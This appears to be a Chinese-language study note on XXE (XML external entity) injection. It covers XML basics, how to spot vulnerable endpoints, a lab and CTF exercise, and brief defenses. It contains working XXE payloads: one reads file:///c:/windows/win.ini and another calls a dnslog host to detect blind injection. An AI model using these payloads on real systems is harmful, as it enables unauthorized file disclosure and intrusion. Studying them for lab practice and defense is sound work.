一、概述
1、XXE:XML外部实体注入攻击
2、XML:可扩展标记语言。
(1)没有固定标签,所有标签都可以自定义,但有限制规则。
(2)用于数据对的传输与存储,常被用于充当配置文件
推荐教程:XML 教程
(3)后缀名:*.xml
(4)语法规则:格式正确完整
3、XXE攻击原理:攻击者通过恶意的外部实体,当解析者解析包含恶意外部实体且未对其进行过滤,造成命令执行,目录遍历。
二、利用
1、存在:
- 看URL是.ashx后缀
- 存在明显的XML标签
- 是POST请求,content-type:application/xml、text/xml、application/json(发现更改为application/xml看看)
2、限制条件:是否开启外部实体解析
3、攻击方式:有回显和无回显(盲攻击)
4、Payload:
#尝试,判断漏洞存在
<?xml version="1.0"?>
<!DOCTYPE info [
<!ENTITY xxe "你好" > ]>
<info>&xxe;</info>
#利用
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM
"file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
5、利用dnslog判断是否存在xxe漏洞(靶场pikachu-xxe漏洞)
(1)、修改payload
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE info [
<!ENTITY xxe SYSTEM
"http://dnslog.cn暂时域名" >
]>
<info>&xxe;</info>
(2)、回到dnslog网址看是否有域名解析了
6、练习(ctf题目):http://web.jarvisoj.com:9882/
7、思路
- 无回显,BP抓包
- 判断是否存在xxe漏洞
- 深度利用
三、补充
1、工具:XXE injector
资料:https://www.cnblogs.com/AgainKjh/p/14639186.html
2、防御
- 升级版本,禁止外部实体解析
- 过滤用户提交的数据